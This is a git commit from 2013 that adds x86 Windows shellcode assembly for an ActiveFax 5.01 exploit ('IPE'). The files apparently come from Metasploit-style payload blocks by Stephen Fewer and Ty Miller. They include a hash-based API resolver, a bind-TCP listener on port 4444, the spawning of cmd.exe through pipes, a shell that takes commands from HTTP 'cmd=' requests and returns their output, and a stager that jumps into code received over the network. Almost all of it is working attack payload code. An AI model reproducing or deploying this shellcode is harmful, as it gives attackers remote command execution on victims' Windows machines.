add IPE with ActiveFax 5.01

This commit is contained in:
bmantra
2013-11-29 19:18:37 +01:00
parent 924717d6fa
commit d7116b8f08
31 changed files with 118 additions and 4 deletions

View File

@@ -0,0 +1,97 @@
;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Version: 1.0 (24 July 2009)
; Size: 137 bytes
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: The hash of the API to call and all its parameters must be pushed onto stack.
; Output: The return value from the API call will be in EAX.
; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention)
; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered.
; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
; Note: This function is unable to call forwarded exports.
api_call:
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
mov ebp, esp ; Create a new stack frame
xor edx, edx ; Zero EDX
mov edx, [fs:edx+48] ; Get a pointer to the PEB
mov edx, [edx+12] ; Get PEB->Ldr
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
next_mod: ;
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
xor edi, edi ; Clear EDI which will store the hash of the module name
loop_modname: ;
xor eax, eax ; Clear EAX
lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase
not_lowercase: ;
ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name
loop loop_modname ; Loop untill we have read enough
; We now have the module hash computed
push edx ; Save the current position in the module list for later
push edi ; Save the current module hash for later
; Proceed to itterate the export address table,
mov edx, [edx+16] ; Get this modules base address
mov eax, [edx+60] ; Get PE header
add eax, edx ; Add the modules base address
mov eax, [eax+120] ; Get export tables RVA
test eax, eax ; Test if no export address table is present
jz get_next_mod1 ; If no EAT present, process the next module
add eax, edx ; Add the modules base address
push eax ; Save the current modules EAT
mov ecx, [eax+24] ; Get the number of function names
mov ebx, [eax+32] ; Get the rva of the function names
add ebx, edx ; Add the modules base address
; Computing the module hash + function hash
get_next_func: ;
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
dec ecx ; Decrement the function name counter
mov esi, [ebx+ecx*4] ; Get rva of next module name
add esi, edx ; Add the modules base address
xor edi, edi ; Clear EDI which will store the hash of the function name
; And compare it to the one we want
loop_funcname: ;
xor eax, eax ; Clear EAX
lodsb ; Read in the next byte of the ASCII function name
ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue
add edi, [ebp-8] ; Add the current module hash to the function hash
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
pop eax ; Restore the current modules EAT
mov ebx, [eax+36] ; Get the ordinal table rva
add ebx, edx ; Add the modules base address
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
mov ebx, [eax+28] ; Get the function addresses table rva
add ebx, edx ; Add the modules base address
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
add eax, edx ; Add the modules base address to get the functions actual VA
; We now fix up the stack and perform the call to the desired function...
finish:
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
pop ebx ; Clear off the current modules hash
pop ebx ; Clear off the current position in the module list
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
pop ecx ; Pop off the origional return address our caller will have pushed
pop edx ; Pop off the hash value our caller will have pushed
push ecx ; Push back the correct return value
jmp eax ; Jump into the required function
; We now automagically return to the correct caller...
get_next_mod: ;
pop eax ; Pop off the current (now the previous) modules EAT
get_next_mod1: ;
pop edi ; Pop off the current (now the previous) modules hash
pop edx ; Restore our position in the module list
mov edx, [edx] ; Get the next module
jmp short next_mod ; Process this module

View File

@@ -0,0 +1,177 @@
;-----------------------------------------------------------------------------;
; Author: Ty Miller @ Threat Intelligence
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Version: 1.0 (2nd December 2011)
;-----------------------------------------------------------------------------;
[BITS 32]
;INPUT: EBP is block_api.
%include "src/block_virtualalloc.asm"
; Input: None
; Output: EAX holds pointer to the start of buffer 0x1000 bytes, EBX holds value 0x1000
; Clobbers: EAX, EBX, ECX, EDX
mov esi, eax ; point esi to start of buffer, used as pseudo-frame pointer
%include "src/block_pipes.asm"
; Create pipes to redirect stage stdin, stdout, stderr
; Input: EBP is api_call
; Output:
; esp+00 child stdin read file descriptor (inherited)
; esp+04 child stdin write file descriptor (not inherited)
; esp+08 child stdout read file descriptor (not inherited)
; esp+12 child stdout write file descriptor (inherited)
; esp+16 lpPipeAttributes structure (not used after block - 12 bytes)
; Clobbers: EAX, EBX, ECX, EDI, ESP will decrement by 28 bytes
mov edi,esi ; save esi since it gets clobbered
%include "src/block_shell_pipes.asm"
; Create process with redirected stdin, stdout, stderr to our pipes
; Input:
; EBP is api_call
; esp+00 child stdin read file descriptor (inherited)
; esp+04 not used
; esp+08 not used
; esp+12 child stdout write file descriptor (inherited)
; Output: None.
; Clobbers: EAX, EBX, ECX, EDX, ESI, ESP will also be modified
mov esi,edi ; restore esi
ReadLoop: ; Read output from the child process
clear_buffer:
mov ecx,0xFF8 ; zero output buffer starting at esi+8 with 0xFF8 nulls
lea eax,[esi+8] ; point eax to start of command/output buffer
zero_buffer:
mov byte [eax],0 ; push a null dword
inc eax ; point to the next byte in the buffer
loop zero_buffer ; keep looping untill we have zeroed the buffer
response_headers:
push esi ; save pointer to start of buffer
lea edi,[esi+1048] ; set pointer to output buffer
call get_headers ; locate the static http response headers
db 'HTTP/1.1 200 OK', 0x0d, 0x0a, 'Content-Type: text/html', 0x0d, 0x0a, 'Access-Control-Allow-Origin: *', 0x0d, 0x0a, 'Content-Length: 3016', 0x0d, 0x0a, 0x0d, 0x0a
get_headers:
pop esi ; get pointer to response headers into esi
mov ecx, 98 ; length of http response headers
rep movsb ; move the http headers into the buffer
pop esi ; restore pointer to start of buffer
bind_port:
push esi ; save buffer pointer onto stack
%include "src/block_bind_tcp.asm" ;by here we will have performed the bind_tcp connection to setup our external web socket
; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the newly connected clients socket
; Clobbers: EAX, EBX, ESI, EDI, ESP will also be modified (-0x1A0)
add esp, 0x1A0 ; restore stack pointer
pop esi ; restore buffer pointer
mov [esi], edi ; save external socket to buffer
recv: ; Receive the web request - must be a post request with command ending with a new line character
push byte 0 ; flags
push 0x400 ; allocated space for command (512 bytes)
mov ebx, esi ; start of our request/response memory buffer
add ebx, 8 ; start of our allocated command space
push ebx ; start of our allocated command space
push dword [esi] ; external socket
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
call ebp ; recv( external_socket, buffer, size, 0 );
find_cmd: ; Search for "cmd=" in the web request
mov edx, [esp+0x64] ; stage stdin read file descriptor (40)
mov ecx, 0x400 ; set ecx to be our buffer counter
next:
cmp dword [ebx], 0x3d646d63 ; check if ebx points to "cmd="
jz cmd_found ; if we found "cmd=" then parse the command
inc ebx ; point ebx to next char in request data
dec ecx ; dec our buffer counter
jecxz read_file_check ; if our counter is 0 then we found no command, so recv more data
jmp short next ; check next location for "cmd="
cmd_found: ; now pointing to start of our command - MAY fail if the command is cut off
add ebx, 0x03 ; starts off pointing at "cmd=" so add 3 (plus inc eax below) to point to command
next_cmd_char:
inc ebx ; move our command string pointer up one character
push ebx ; save command pointer to the stack
write_file:
push 0 ; pOverlapped = NULL
lea edi,[esi+1040] ; 4 bytes for bytes written
push edi ; pBytesWritten
push 1 ; nBytesToWrite
push ebx ; command string in buffer
mov ebx,[esp+70h] ; Child stdin
push ebx ; child stdin
push 0x5BAE572D ; hash(kernel32.dll, WriteFile)
call ebp ; WriteFile
pop ebx ; restore command pointer from the stack
cmp byte [ebx], 0x0a ; check if we have just sent a new line
jnz next_cmd_char ; if we haven't finished sending the cmd then send the next char, else we want to read the cmd output from internal stage socket
%include "src/block_sleep.asm"
; Input: None
; Output: None. Sleeps for x seconds
; Clobbers: None
read_file_check:
xor eax, eax ; zero eax
push eax ; lpBytesLeftThisMessage
lea ebx,[esi+4] ; address to output the result - num bytes available to read
push ebx ; lpTotalBytesAvail
push eax ; lpBytesRead
push eax ; nBufferSize
push eax ; lpBuffer
lea ebx,[esp+74h] ; child stdout read address
mov ebx, [ebx] ; child stdout read file descriptor
push ebx ; hNamedPipe
push 0xB33CB718 ; hash(kernel32.dll,PeekNamedPipe)
call ebp ; PeekNamedPipe
test eax, eax ; check the function return correctly
jz close_handle ; no, then close the connection and start again
mov eax, [esi+4] ; Grab the number of bytes available
test eax, eax ; check for no bytes to read
jz close_handle ; no, then close the connection and start again
read_file:
push 0 ; pOverlapped = NULL
lea edi,[esi+1044] ; output: number of bytes read
push edi ; pBytesRead
push 0xB86 ; BytesToRead: remaining space in our allocated buffer
;lea edi,[esi+1114] ; start of remaining space in buffer after response headers
lea edi,[esi+1146] ; start of remaining space in buffer after response headers
push edi ; start of remaining space in buffer after response headers
lea ebx,[esp+70h] ; child stdout read address
mov ebx, [ebx] ; child stdout read file descriptor
push ebx ; hFile: child stdout address
push 0xBB5F9EAD ; hash(kernel32.dll,ReadFile)
call ebp ; ReadFile
send_output: ; send buffer to the external socket
push byte 0 ; flags
push 0xBE8 ; len
lea edi,[esi+1048] ; start of output buffer
push edi ; pointer to buffer
push dword [esi] ; external socket
push 0x5F38EBC2 ; hash ( "ws2_32.dll", "send" )
call ebp ; send(external_socket, *buf, len, flags);
close_handle:
push dword [esi] ; hObject: external socket
push 0x528796C6 ; hash(kernel32.dll,CloseHandle)
call ebp ; CloseHandle
jmp ReadLoop

View File

@@ -0,0 +1,47 @@
;-----------------------------------------------------------------------------;
; Author: Ty Miller @ Threat Intelligence
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Version: 1.0 (2nd December 2011)
;-----------------------------------------------------------------------------;
[BITS 32]
;INPUT: EBP is block_api.
%include "src/block_bind_tcp.asm" ;by here we will have performed the bind_tcp connection to setup our external web socket
; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the newly connected clients socket
; Clobbers: EAX, EBX, ESI, EDI, ESP will also be modified (-0x1A0)
%include "src/block_virtualalloc.asm"
; Input: None
; Output: EAX holds pointer to the start of buffer 0x1000 bytes, EBX has value 0x1000
; Clobbers: EAX, EBX, ECX, EDX
mov esi, eax ; save pointer to buffer since eax gets clobbered
recv: ; Receive the web request containing the stage
push byte 0 ; flags
push ebx ; allocated space for stage
push eax ; start of our allocated command space
push edi ; external socket
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
call ebp ; recv( external_socket, buffer, size, 0 );
close_handle:
push edi ; hObject: external socket
push 0x528796C6 ; hash(kernel32.dll,CloseHandle)
call ebp ; CloseHandle
find_cmd: ; Search for "cmd=" in the web request for our payload
cmp dword [esi], 0x3d646d63 ; check if ebx points to "cmd="
jz cmd_found ; if we found "cmd=" then parse the command
inc esi ; point ebx to next char in request data
jmp short find_cmd ; check next location for "cmd="
cmd_found: ; now pointing to start of our command - MAY fail if the command is cut off
; add esi,4 ; starts off pointing at "cmd=" so add 3 (plus inc eax below) to point to command ... this compiles to 6 byte opcode
db 0x83, 0xC6, 0x04 ; add esi,4 ... but only 3 byte opcode
jmp esi ; jump to our stage payload

View File

@@ -0,0 +1,63 @@
;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer@harmonysecurity.com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Version: 1.0 (24 July 2009)
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the newly connected clients socket
; Clobbers: EAX, EBX, ESI, EDI, ESP will also be modified (-0x1A0)
bind_tcp:
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
push 0x5F327377 ; ...
push esp ; Push a pointer to the "ws2_32" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "ws2_32" )
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
sub esp, eax ; alloc some space for the WSAData structure
push esp ; push a pointer to this stuct
push eax ; push the wVersionRequested parameter
push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
call ebp ; WSAStartup( 0x0190, &WSAData );
push eax ; if we succeed, eax wil be zero, push zero for the flags param.
push eax ; push null for reserved parameter
push eax ; we do not specify a WSAPROTOCOL_INFO structure
push eax ; we do not specify a protocol
inc eax ;
push eax ; push SOCK_STREAM
inc eax ;
push eax ; push AF_INET
push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
xor ebx, ebx ; Clear EBX
push ebx ; bind to 0.0.0.0
push 0x5C110002 ; family AF_INET and port 4444
mov esi, esp ; save a pointer to sockaddr_in struct
push byte 16 ; length of the sockaddr_in struct (we only set the first 8 bytes as the last 8 are unused)
push esi ; pointer to the sockaddr_in struct
push edi ; socket
push 0x6737DBC2 ; hash( "ws2_32.dll", "bind" )
call ebp ; bind( s, &sockaddr_in, 16 );
push ebx ; backlog
push edi ; socket
push 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" )
call ebp ; listen( s, 0 );
push ebx ; we set length for the sockaddr struct to zero
push ebx ; we dont set the optional sockaddr param
push edi ; listening socket
push 0xE13BEC74 ; hash( "ws2_32.dll", "accept" )
call ebp ; accept( s, 0, 0 );
push edi ; push the listening socket to close
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" )
call ebp ; closesocket( s );

View File

@@ -0,0 +1,64 @@
;-----------------------------------------------------------------------------;
; Author: Ty Miller @ Threat Intelligence
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Version: 1.0 (2nd December 2011)
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: EBP is api_call
; Output:
; esp+00 child stdin read file descriptor (inherited)
; esp+04 child stdin write file descriptor (not inherited)
; esp+08 child stdout read file descriptor (not inherited)
; esp+12 child stdout write file descriptor (inherited)
; esp+16 lpPipeAttributes structure (not used after block - 12 bytes)
; Clobbers: EAX, EBX, ECX, EDI, ESP will decrement by 28 bytes
push 1 ; create lpPipeAtrributes structure on stack so pipe handles are inherited
push 0
push 0x0C
create_pipe_stdout:
push 0 ; allocate space on stack for child stdout file descriptor
mov ebx, esp ; save location of where the child stdout Write file descriptor will be
push 0 ; allocate space on stack for child stdout file descriptor
mov ecx, esp ; save location of where the child stdout Read file descriptor will be
push 0 ; nSize
lea edi,[esp+12] ; lpPipeAttributes - inherited
push edi
push ebx ; stdout write file descriptor
push ecx ; stdout read file descriptor
push 0x0EAFCF3E ; hash ( "kernel.dll", "CreatePipe" )
call ebp ; CreatePipe( Read, Write, 0, 0 )
create_pipe_stdin:
push 0 ; allocate space on stack for child stdout file descriptor
mov ebx, esp ; save location of where the child stdout Write file descriptor will be
push 0 ; allocate space on stack for child stdout file descriptor
mov ecx, esp ; save location of where the child stdout Read file descriptor will be
push 0 ; nSize
lea edi,[esp+20] ; lpPipeAttributes - inherited
push edi
push ebx ; stdout write file descriptor
push ecx ; stdout read file descriptor
push 0x0EAFCF3E ; hash ( "kernel.dll", "CreatePipe" )
call ebp ; CreatePipe( Read, Write, 0, 0 )
no_inherit_read_handle: ; ensure read and write handles to child proc pipes for are not inherited
mov ebx,[esp+8]
push 0
push 1
push ebx ; hChildStdoutRd is the address we set in the CreatePipe call
push 0x1CD313CA ; hash(kernel32.dll, SetHandleInformation)
call ebp ; SetHandleInformation
no_inherit_write_handle:
mov ebx,[esp+4]
push 0
push 1
push ebx ; hChildStdinRw is the address we set in the CreatePipe call
push 0x1CD313CA ; hash(kernel32.dll, SetHandleInformation)
call ebp ; SetHandleInformation

View File

@@ -0,0 +1,56 @@
;-----------------------------------------------------------------------------;
; Author: Ty Miller @ Threat Intelligence
; Credits: Some code borrowed from block_shell.asm; Stephen Fewer
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Version: 1.0 (2nd December 2011)
;-----------------------------------------------------------------------------;
[BITS 32]
; Input:
; EBP is api_call
; esp+00 child stdin read file descriptor (inherited)
; esp+04 not used
; esp+08 not used
; esp+12 child stdout write file descriptor (inherited)
; Output: None.
; Clobbers: EAX, EBX, ECX, EDX, ESI, ESP will also be modified
shell:
push 0x00646D63 ; push our command line: 'cmd',0
mov ebx, esp ; save a pointer to the command line
push dword [esp+16] ; child stdout write file descriptor for process stderr
push dword [esp+20] ; child stdout write file descriptor for process stdout
push dword [esp+12] ; child stdin read file descriptor for process stdout
xor esi, esi ; Clear ESI for all the NULL's we need to push
push byte 18 ; We want to place (18 * 4) = 72 null bytes onto the stack
pop ecx ; Set ECX for the loop
push_loop: ;
push esi ; push a null dword
loop push_loop ; keep looping untill we have pushed enough nulls
mov word [esp + 60], 0x0101 ; Set the STARTUPINFO Structure's dwFlags to STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW
lea eax, [esp + 16] ; Set EAX as a pointer to our STARTUPINFO Structure
mov byte [eax], 68 ; Set the size of the STARTUPINFO Structure
; perform the call to CreateProcessA
push esp ; Push the pointer to the PROCESS_INFORMATION Structure
push eax ; Push the pointer to the STARTUPINFO Structure
push esi ; The lpCurrentDirectory is NULL so the new process will have the same current directory as its parent
push esi ; The lpEnvironment is NULL so the new process will have the same enviroment as its parent
push esi ; We dont specify any dwCreationFlags
inc esi ; Increment ESI to be one
push esi ; Set bInheritHandles to TRUE in order to inheritable all possible handle from the parent
dec esi ; Decrement ESI back down to zero
push esi ; Set lpThreadAttributes to NULL
push esi ; Set lpProcessAttributes to NULL
push ebx ; Set the lpCommandLine to point to "cmd",0
push esi ; Set lpApplicationName to NULL as we are using the command line param instead
push 0x863FCC79 ; hash( "kernel32.dll", "CreateProcessA" )
call ebp ; CreateProcessA( 0, &"cmd", 0, 0, TRUE, 0, 0, 0, &si, &pi );
; perform the call to WaitForSingleObject
; mov eax, esp ; save pointer to the PROCESS_INFORMATION Structure
; dec esi ; Decrement ESI down to -1 (INFINITE)
; push esi ; push INFINITE inorder to wait forever
; inc esi ; Increment ESI back to zero
; push dword [eax] ; push the handle from our PROCESS_INFORMATION.hProcess
; push 0x601D8708 ; hash( "kernel32.dll", "WaitForSingleObject" )
; call ebp ; WaitForSingleObject( pi.hProcess, INFINITE );

View File

@@ -0,0 +1,15 @@
;-----------------------------------------------------------------------------;
; Author: Ty Miller @ Threat Intelligence
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Version: 1.0 (2nd December 2011)
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: None
; Output: None. Sleeps for specified seconds.
; Clobbers: None
push 1000 ; milliseconds
push 0xE035F044 ; hash (kernel32.dll, Sleep)
call ebp ; Sleep(1000ms)

View File

@@ -0,0 +1,20 @@
;-----------------------------------------------------------------------------;
; Author: Ty Miller @ Threat Intelligence
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Version: 1.0 (2nd December 2011)
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: None
; Output: EAX holds pointer to the start of buffer 0x1000 bytes, EBX holds value 0x1000
; Clobbers: EAX, EBX, ECX, EDX
mov ebx,0x1000 ; setup our flags and buffer size in ebx
allocate_memory: ; Alloc a buffer for the request and response data
push byte 0x40 ; PAGE_EXECUTE_READWRITE - don't need execute but may as well
push ebx ; MEM_COMMIT
push ebx ; size of memory to be allocated (4096 bytes)
push byte 0 ; NULL as we dont care where the allocation is
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );